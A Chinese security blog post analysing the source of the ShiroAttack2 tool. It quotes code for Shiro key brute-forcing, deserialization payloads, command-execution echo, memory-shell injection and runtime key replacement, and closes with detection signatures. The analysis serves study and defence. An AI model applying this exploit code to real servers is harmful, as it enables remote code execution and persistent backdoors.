author:藏青@雁行安全团队

前言

最近想要针对Shiro的利用工具扩展利用链,但自己完全写一个工具即麻烦也没有必要,因此想要通过SummerSec师傅开源的工具ShiroAttack2扩展来实现,既然要扩展首先就得了解项目的源码实现。本片文章中我不会通篇的对这个项目代码进行分析,只抽出几个我认为的要点进行分析。

源码分析

密钥验证

在这款工具中,密钥验证主要是分为两种情况,一种是用户指定密钥,一种是未指定密钥时爆破密钥。无论是使用哪种方式来验证key都需要调用checkIsShiro方法判断是否为shiro。

//指定key 
@FXML
    void crackSpcKeyBtn(ActionEvent event) {
        this.initAttack();
        if (this.attackService.checkIsShiro()) {
            String spcShiroKey = this.shiroKey.getText();
            if (!spcShiroKey.equals("")) {
                this.attackService.simpleKeyCrack(spcShiroKey);
            } else {
                this.logTextArea.appendText(Utils.log("请输入指定密钥"));
            }
        }
    }
//爆破key
    @FXML
    void crackKeyBtn(ActionEvent event) {
        this.initAttack();
        if (this.attackService.checkIsShiro()) {
            this.attackService.keysCrack();
        }
    }

checkIsShiro首先指定remeberMe=1通过返回结果是否包含deleteMe来判断是否为shiro框架。如果返回结果没有deleteMe则生成一个10位的随机数作为remeberMe的内容再去请求。这里之所以要生成一个位随机数我推测可能是防止WAF将remeberMe=1当作特征拦了。但是我这里还是想到了一种拦截思路,如果检测到rememberMe=1
WAF直接阻断请求,那result的返回内容就会是null,在result.contains("=deleteMe")中就会触发异常,导致直接进入catch代码块,
那样工具就无法检测是否为Shiro,后面的漏洞利用功能也会失效。

public boolean checkIsShiro() {
        boolean flag = false;
        try {
            HashMap<String, String> header = new HashMap();
            //指定remeberMe=1
            header.put("Cookie", this.shiroKeyWord + "=1");
            String result = this.headerHttpRequest(header);
            flag = result.contains("=deleteMe");
            if (flag) {
                this.mainController.logTextArea.appendText(Utils.log("存在shiro框架!"));
                flag = true;
            } else {
                HashMap<String, String> header1 = new HashMap();
                //生成10位随机数判断
                header1.put("Cookie", this.shiroKeyWord + "=" + AttackService.getRandomString(10));
                String result1 = this.headerHttpRequest(header1);
                flag = result1.contains("=deleteMe");
                if(flag){
                    this.mainController.logTextArea.appendText(Utils.log("存在shiro框架!"));
                    flag = true;
                }else {
                    this.mainController.logTextArea.appendText(Utils.log("未发现shiro框架!"));
                }
            }
        } catch (Exception var4) {
            if (var4.getMessage() != null) {
                this.mainController.logTextArea.appendText(Utils.log(var4.getMessage()));
            }
        }
        return flag;
    }

利用链爆破

无论使用什么利用链都需要和回显的方式配合,所以这里首先是拿出了利用链和回显方式并进行组合。组合后通过:分割,通过gadgetCrack检测这种利用链和回显方式是否存在。目前这款工具主要的利用链是CC利用链和Beanutils利用链。回显方式主要是TomcatSpring回显,作者后来版本也加了通用回显,这些回显方式之后我会分析。

void crackGadgetBtn(ActionEvent event) {
        String spcShiroKey = this.shiroKey.getText();
        if (this.attackService == null) {
            this.initAttack();
        }
        boolean flag = false;
        if (!spcShiroKey.equals("")) {
            //获取利用链和回显方式并进行组合
            List<String> targets = this.attackService.generateGadgetEcho(this.gadgetOpt.getItems(), this.echoOpt.getItems());
            for(int i = 0; i < targets.size(); ++i) {
                String[] t = ((String)targets.get(i)).split(":");
                String gadget = t[0];
                String echo = t[1];
                //检测利用链和回显方式是否存在
                flag = this.attackService.gadgetCrack(gadget, echo, spcShiroKey);
                if (flag) {
                    break;
                }
            }
        } else {
            this.logTextArea.appendText(Utils.log("请先手工填入key或者爆破Shiro key"));
        }
        if (!flag) {
            this.logTextArea.appendText(Utils.log("未找到构造链"));
        }
    }

gadgetCrack生成remeberMe的内容并加上Ctmd请求头,最后判断返回中是否包含08fb41620aa4c498a1f2ef09bbc1183c判断是否利用成功,这里也可以当作这款工具的特征。

public boolean gadgetCrack(String gadgetOpt, String echoOpt, String spcShiroKey) {
        boolean flag = false;
        try {
            //生成rememberMe
            String rememberMe = this.GadgetPayload(gadgetOpt, echoOpt, spcShiroKey);
            if (rememberMe != null) {
                HashMap header = new HashMap();
                header.put("Cookie", rememberMe + ";");
                //header中加入Ctmd头
                header.put("Ctmd", "08fb41620aa4c498a1f2ef09bbc1183c");
                String result = this.headerHttpRequest(header);
                //判断返回值中是否有08fb41620aa4c498a1f2ef09bbc1183c
                if (result.contains("08fb41620aa4c498a1f2ef09bbc1183c")) {
                    this.mainController.logTextArea.appendText(Utils.log("[*] 发现构造链:" + gadgetOpt + "  回显方式: " + echoOpt));
                    this.mainController.logTextArea.appendText(Utils.log("[*] 请尝试进行功能区利用。"));
                    this.mainController.gadgetOpt.setValue(gadgetOpt);
                    this.mainController.echoOpt.setValue(echoOpt);
                    gadget = gadgetOpt;
                    attackRememberMe = rememberMe;
                    flag = true;
                } else {
                    this.mainController.logTextArea.appendText(Utils.log("[x] 测试:" + gadgetOpt + "  回显方式: " + echoOpt));
                }
            }
        } catch (Exception var8) {
            this.mainController.logTextArea.appendText(Utils.log(var8.getMessage()));
        }
        return flag;
    }

下面分析remeberMe生成部分,主要包含四个部分。

  • 获取利用链的Class对象并实例化
  • 根据回显方式创建TemplatesImpl对象

  • 传入TemplatesImpl通过getObject获取构建好的恶意对象

  • 构建好恶意对象后AES加密后返回
public String GadgetPayload(String gadgetOpt, String echoOpt, String spcShiroKey) {
        String rememberMe = null;
        try {
            //获取利用链的Class对象
            Class<? extends ObjectPayload> gadgetClazz = com.summersec.attack.deser.payloads.ObjectPayload.Utils.getPayloadClass(gadgetOpt);
            ObjectPayload<?> gadgetPayload = (ObjectPayload)gadgetClazz.newInstance();
            //根据回显方式创建TemplatesImpl对象
            Object template = Gadgets.createTemplatesImpl(echoOpt);
            //创建恶意对象
            Object chainObject = gadgetPayload.getObject(template);
            //生成的恶意对象AES加密后返回
            rememberMe = shiro.sendpayload(chainObject, this.shiroKeyWord, spcShiroKey);
        } catch (Exception var9) {
//            var9.printStackTrace();
            this.mainController.logTextArea.appendText(Utils.log(var9.getMessage()));
        }
        return rememberMe;
    }

获取利用链的Class对象并实例化

根据类名获取对应的Class对象

public interface ObjectPayload<T> { T getObject(Object paramObject) throws Exception;
    public static class Utils {
        public static Class<? extends ObjectPayload> getPayloadClass(String className) {
            Class<? extends ObjectPayload> clazz = null;
            try {
                //根据类名获取Class对象
                clazz = (Class)Class.forName("com.summersec.attack.deser.payloads." + StringUtils.capitalize(className));
            } catch (Exception exception) {}
            return clazz;
        }
    }
}

根据回显方式创建TemplatesImpl对象

通过Javasist生成回显类并转换为字节码赋值给_bytecodes属性。

public static <T> T createTemplatesImpl(String payload, Class<T> tplClass, Class<?> abstTranslet) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        //根据名称通过forName加载回显的类
        Class<? extends EchoPayload> echoClazz = Utils.getPayloadClass(payload);
        EchoPayload<?> echoObj = (EchoPayload)echoClazz.newInstance();
        //通过Javasist动态生成回显类
        CtClass clazz = echoObj.genPayload(pool);
        CtClass superClass = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superClass);
        byte[] classBytes = clazz.toBytecode();
        //将生成的回显类字节码赋值给_bytecodes属性
        Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bcField.setAccessible(true);
        bcField.set(templates, new byte[][]{classBytes});
        Field nameField = TemplatesImpl.class.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "a");
        return templates;
    }

通过getObject获取恶意对象

通过getObject方法获取恶意对象,在这个工具里使用的利用链主要为CC链和Beanutils链。

AES加密构建好的恶意对象

由于Shiro在高版本中更换了GCM加密方式,因此根据版本的不同选择不同的加密算法。

public String sendpayload(Object chainObject, String shiroKeyWord, String key) throws Exception {
        byte[] serpayload = SerializableUtils.toByteArray(chainObject);
        byte[] bkey = DatatypeConverter.parseBase64Binary(key);
        byte[] encryptpayload = null;
        //根据版本不同使用不同的加密算法
        if (AttackService.aesGcmCipherType == 1) {
            GcmEncrypt gcmEncrypt = new GcmEncrypt();
            String byteSource = gcmEncrypt.encrypt(key,serpayload);
            System.out.println(shiroKeyWord + "=" + byteSource);
            return shiroKeyWord + "=" + byteSource;
        } else {
            encryptpayload = AesUtil.encrypt(serpayload, bkey);
        }
        return shiroKeyWord + "=" + DatatypeConverter.printBase64Binary(encryptpayload);
    }

关于利用链这里我想多提一些内容,因为本来分析这款工具的原理就是为了扩展利用链。通过上面的分析可以看到作者做了一个抽象,getObject传入的对象是构建好的TemplateImpl对象,所以这也是作者实现的利用链不多的原因,因为不是所有的利用链封装的都是TemplateImpl对象,而且也有很多利用方式无法回显利用。

回显方式分析

Tomcat

Tomcat的回显主要的思路都是获取Response对象,并向Response中写入执行结果来实现,下面我对多种Tomcat回显的方式做一个简要总结。

  • ApplicationFilterChain#lastServicedResponse中记录了response的内容,所以可以通过获取lastServicedResponse来获取Response对象并进行写入。使用这种方式需要请求两次,因为在默认情况下lastServicedResponse中并不会记录response,所以第一次请求需要修改一个属性值让lastServicedResponse记录response。但是这种方式不能用在Shiro反序列化中回显,因为Shiro的反序列化发生在lastServicedResponse缓存Response之前,所以我们无法在反序列化的过程中拿到缓存中的Response对象。
  • AbstractProcessor#response中存储了Response对象,可以通过获取这个属性值获取response对象。这种方式是通过Thread.currentThread.getContextClassLoader()获取webappClassLoader,再获取到Context最后一层层反射获取Response对象。这种方式的主要问题是代码量过多,在Shiro的利用中可能由于请求头过大导致利用失败。虽然可以通过在RemeberMe中只实现一个ClassLoader加载Body中的Class这种方式绕过。但是这样设计可能会导致和其他回显的利用方式有些差别,导致代码无法复用,所以我猜测这也是作者没有使用这种方式回显的原因。

  • 首先通过Thread.currentThread().getThreadGroup()获取线程数组,从线程数组中找到包含http但不包含exec的线程。从保存的NioEndPoint中拿到ConnectionHandler,再从Handler中拿到RequestInfo对象,最后从RequestInfo中拿到Response。

最后一种方式是这款工具使用的方式,虽然这种获取方式比较简洁,但是好像没有师傅给出为什么要这么获取的原因,下面我尝试对这种利用方式做出解释。

首先我们要知道,这种方式实际上是从ClientPoller线程中取出的NioEndPoint对象,并拿到RequestInfo对象。

为什么从**ClientPoller** 中可以拿到**NioEndPoint** 对象?

ClientPoller对象是在NioEndPoint#startInternal时创建的,在创建ClientPoller线程时传入了poller对象作为target属性,因此可以从ClientPoller->target中拿到poller对象,而Poller又是NioEndpoint的内部类,所以其this$0持有外部类NioEndPoint的引用。因此从ClientPoller线程中获取到NioEndPoint对象。

@Override
    public void startInternal() throws Exception {
...
            initializeConnectionLatch();
            // Start poller thread
            poller = new Poller();
            Thread pollerThread = new Thread(poller, getName() + "-ClientPoller");
            pollerThread.setPriority(threadPriority);
            pollerThread.setDaemon(true);
            pollerThread.start();
            startAcceptorThread();
        }
    }

另外Acceptor中也持有NioEndpoint对象,因此也可以获取到RequestInfo对象。

为什么要通过for循环进行遍历Thread?

虽然上面我们看到ClientPoller线程只有一个,但是作者在实现工具的时候却使用了for循环遍历,这是为什么?

Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int var6 = 0; var6 < var5.length; ++var6) {
            Thread var7 = var5[var6];
            if (var7 != null) {
                String var3 = var7.getName();
                if (!var3.contains("exec") && var3.contains("http")) {
                    Object var1 = getFV(var7, "target");
            ...

我当前的环境是springboot中内置的tomcat,但是打开自己下载的tomcat发现其实创建的ClientPoller不一定只有一个,查阅资料默认配置下ClientPoller的个数是CPU的核数。

pollers = new Poller[getPollerThreadCount()];
            for (int i=0; i<pollers.length; i++) {
                pollers[i] = new Poller();
                Thread pollerThread = new Thread(pollers[i], getName() + "-ClientPoller-"+i);
                pollerThread.setPriority(threadPriority);
                pollerThread.setDaemon(true);
                pollerThread.start();
            }

所以我认为这个for循环的这么写应该更合理一些

Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int var6 = 0; var6 < var5.length; ++var6) {
            Thread var7 = var5[var6];
            if (var7 != null) {
                String var3 = var7.getName();
                if (var3.contains("ClientPoller")) {
                    Object var1 = getFV(var7, "target");
            ...

或者通过Acceptor来获取,Acceptor主要用来接收连接,默认为一个。

if (var3.contains("Acceptor")) {
                    Object var1 = getFV(var7, "target");
                    if (var1 instanceof Runnable) {
                        try {
                            var1 = getFV(getFV(getFV(var1, "endpoint"), "handler"), "global");

Spring

通过RequestContextHolder的静态方法获取RequestAttributes对象,在通过getResponse获取Response对象。

AllEcho

这种方式基本思路是遍历当前线程保存的所有非静态属性,直到找到RequestResponse对象。默认遍历的深度是50层。

private static void Find(Object start,int depth){
        if(depth > max_depth||(req!=null&&resp!=null)){
            return;
        }
    //开始时start传入的是Thread.currentThread()对象
        Class n=start.getClass();
        do{
           //获取当前对象中保存的属性
            for (Field declaredField : n.getDeclaredFields()) {
                declaredField.setAccessible(true);
                Object obj = null;
                try{
                    //判断属性是否为static,是则跳过
                    if(Modifier.isStatic(declaredField.getModifiers())){
                        //静态字段
                        //obj = declaredField.get(null);
                    }else{
                        obj = declaredField.get(start);
                    }
                    if(obj != null){
                        //不是数组直接调用proc方法检查obj中是否为request或response对象
                        if(!obj.getClass().isArray()){
                            proc(obj,depth);
                        }else{
                         //是数组则判断持有的对象是否为基本类型,不是基本类型才会遍历数组并判断是否为request或response对象
                            if(!obj.getClass().getComponentType().isPrimitive()) {
                                for (Object o : (Object[]) obj) {
                                    proc(o, depth);
                                }
                            }
                        }
                    }
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }while(
            //获取父类并遍历属性
                (n = n.getSuperclass())!=null
        );
    }

判断当前对象是否持有request和response类型,如果是则执行命令并写入Response。

private static void proc(Object obj,int depth){
     //如果遍历层数已经是最大层数则返回
        if(depth > max_depth||(req!=null&&resp!=null)){
            return;
        }
     // 如果该类型是java.lang包下的并且已经处理过了则跳过
        if(!isSkiped(obj)){
            //判断obj类型是否为HttpServletRequest.class的子类
            if(req==null&&ReqC.isAssignableFrom(obj.getClass())){
                req = (HttpServletRequest)obj;
                if(req.getHeader("cmd")==null)
                    req=null;
            //判断obj类型是否为HttpServletResponse.class的子类
            }else if(resp==null&&RespC.isAssignableFrom(obj.getClass())){
                resp = (HttpServletResponse) obj;
            }
            //如果获取到request和response对象,则执行命令并写入
            if(req!=null&&resp!=null){
                try {
                    PrintWriter os = resp.getWriter();
                    Process proc = Runtime.getRuntime().exec(req.getHeader("cmd"));
                    proc.waitFor();
                    Scanner scanner = new Scanner(proc.getInputStream());
                    scanner.useDelimiter("\\A");
                    os.print("Test by fnmsd "+scanner.next());
                    os.flush();
                }catch (Exception e){
                }
                return;
            }
            //继续遍历
            Find(obj,depth+1);
        }
    }

内存马

由于注入内存马的代码量比较大,直接将数据带到请求头中会导致请求头过大而注入失败,所以这里作者将实际内存马的内容和注入的代码分开,post的参数dy中才是真正注入内存马的代码。

public void injectMem(String memShellType, String shellPass, String shellPath) {
    //获取rememberMe的内容,这里传入的回显类是InjectMemTool,也就是InjectMemTool的字节码将会被放到TemplateImpl->_bytecodes属性中
        String injectRememberMe = this.GadgetPayload(gadget, "InjectMemTool", realShiroKey);
        if (injectRememberMe != null) {
            //请求头中传入shell密码和路径。
            HashMap<String, String> header = new HashMap();
            header.put("Cookie", injectRememberMe);
            header.put("p", shellPass);
            header.put("path", shellPath);
            try {
                //根据内存马的类型得到对应的字节码,base64后传给dyv参数。
                String b64Bytecode = MemBytes.getBytes(memShellType);
                String postString = "dy=" + b64Bytecode;
                String result = this.bodyHttpRequest(header, postString);
                //返回Success则代表注入成功
                if (result.contains("->|Success|<-")) {
                    String httpAddress = Utils.UrlToDomain(this.url);
                    this.mainController.InjOutputArea.appendText(Utils.log(memShellType + "  注入成功!"));
                    this.mainController.InjOutputArea.appendText(Utils.log("路径:" + httpAddress + shellPath));
                    if (!memShellType.equals("reGeorg[Servlet]")) {
                        this.mainController.InjOutputArea.appendText(Utils.log("密码:" + shellPass));
                    }
                } else {
                    if (result.contains("->|") && result.contains("|<-")) {
                        this.mainController.InjOutputArea.appendText(Utils.log(result));
                    }
                    this.mainController.InjOutputArea.appendText(Utils.log("注入失败,请更换注入类型或者更换新路径"));
                }
            } catch (Exception var10) {
                this.mainController.InjOutputArea.appendText(Utils.log(var10.getMessage()));
            }
            this.mainController.InjOutputArea.appendText(Utils.log("-------------------------------------------------"));
        }
    }

下面我们看下InjectMemTool的内容,下面是InjectMemTool构造方法的内容,前面内容和Tomcat回显的内容相同,从线程数组中获取request和response对象,我没有在代码中给出来。

o = getFV(p, \"req\");
    resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);

                        Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
        //获取dy参数保存的内容
                        dy = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\"dy\")});
                        if (dy != null && !dy.isEmpty()) {
                            //base64解码
                            byte[] bytecodes = org.apache.shiro.codec.Base64.decode(dy);
                            //获取defineClass方法
                            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});
                            defineClassMethod.setAccessible(true);
                //调用defineClass加载dy中保存的字节码
                            Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                //实例化对象并调用equals方法
                            cc.newInstance().equals(conreq);
                            done = true;
                        }

修改shiro key

SummerSec师傅实现了修改shiro
key的功能了,有了这个功能渗透就真的是比手速了,或许以后渗透还需到了解如何动态修补各种漏洞,哈哈,开个玩笑。

修改Shiro
key的思路是找到ShiroFilterFactoryBean对象,从这个对象中可以拿到remeberMeMamanger,这个对象中可以获取加密和解密的密钥。

filterConfigs中保存了ShiroFilterFactoryBean实例,因此可以从中获取key。

SummerSec师傅的实现代码如下,前面获取filterConfigs的代码就不分析了,和注册Filter内存马的时候一致。

org.apache.tomcat.util.threads.TaskThread thread = (org.apache.tomcat.util.threads.TaskThread) Thread.currentThread();
        java.lang.reflect.Field field = thread.getClass().getSuperclass().getDeclaredField("contextClassLoader");
        field.setAccessible(true);
        Object obj = field.get(thread);
        field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
        field.setAccessible(true);
        obj = field.get(obj);
        field = obj.getClass().getDeclaredField("context");
        field.setAccessible(true);
        obj = field.get(obj);
        //获取filterConfigs属性
        field = obj.getClass().getSuperclass().getDeclaredField("filterConfigs");
        field.setAccessible(true);
        obj = field.get(obj);
        java.util.HashMap<String, Object> objMap = (java.util.HashMap<String, Object>) obj;
        //遍历filterConfigs
        java.util.Iterator<Map.Entry<String, Object>> entries = objMap.entrySet().iterator();
        while (entries.hasNext()) {
            Map.Entry<String, Object> entry = entries.next();
            //检测key是否为shiroFilterFactoryBean
            if (entry.getKey().equals("shiroFilterFactoryBean")) {
                obj = entry.getValue();
                field = obj.getClass().getDeclaredField("filter");
                field.setAccessible(true);
                obj = field.get(obj);
                field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
                field.setAccessible(true);
                obj = field.get(obj);
                field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
                field.setAccessible(true);
                obj = field.get(obj);
                //通过反射调用setEncryptionCipherKey修改加密key
                java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
                byte[] bytes = this.base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==");
                setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
                   //通过反射调用setDecryptionCipherKey修改解密key
                java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
                setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
            }
        }

但是这种方式有一个问题,如果我设置ShiroFilterFactoryBean时设置了name属性,那么遍历filterConfigs是,保存ShiroFilterFactoryBean的Filter的名称就会是shiroFilter,所以会修改失败。

@Bean(
            name = {"shiroFilter"}
    )
    ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager);
        bean.setLoginUrl("/login");
        bean.setUnauthorizedUrl("/unauth");
        Map<String, String> map = new LinkedHashMap();
        map.put("/doLogin", "anon");
        map.put("/index/**", "authc");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }

但是无论有没有配置name属性,filter属性中保存的filter的类名一定是ShiroFilterFactoryBean,所以我们可以先获取filter属性,然后查看类名是否为ShiroFilterFactoryBean,如果是则通过反射调用修改key。

while (entries.hasNext()) {
            Map.Entry<String, Object> entry = entries.next();
            obj = entry.getValue();
            //先获取filter属性
            field = obj.getClass().getDeclaredField("filter");
            field.setAccessible(true);
            obj = field.get(obj);
            //判断保存的类型是否为ShiroFilterFactoryBean
            if (obj.getClass().toString().contains("ShiroFilterFactoryBean")) {
                field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
                field.setAccessible(true);
                obj = field.get(obj);
                field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
                field.setAccessible(true);
                obj = field.get(obj);
                java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
                byte[] bytes = this.base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==");
                setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
                java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
                setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
            }
        }

总结

通过学习师傅写的工具,对很多技术的实现细节有了一些了解,确实也学到了很多。最后总结部分我想简单聊一下这个工具的利用特征。

  • ·在验证key或者爆破key前,会发送RemeberMe=1,如果检测到Cookie中包含RemeberMe=1直接将请求断开,会导致这个工具无法检测密钥,后续的功能也将无法用。
  • 利用链爆破部分会发送Ctmd:08fb41620aa4c498a1f2ef09bbc1183c作为是否可以回显的标志,这一部分是硬编码的,所以如果检测到包含Ctmd:08fb41620aa4c498a1f2ef09bbc1183c,也是有人正在利用该工具检测shiro

  • 内存马注入时,会在请求中加上ppath参数,并且会在post请求中加上dy参数。

参考

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖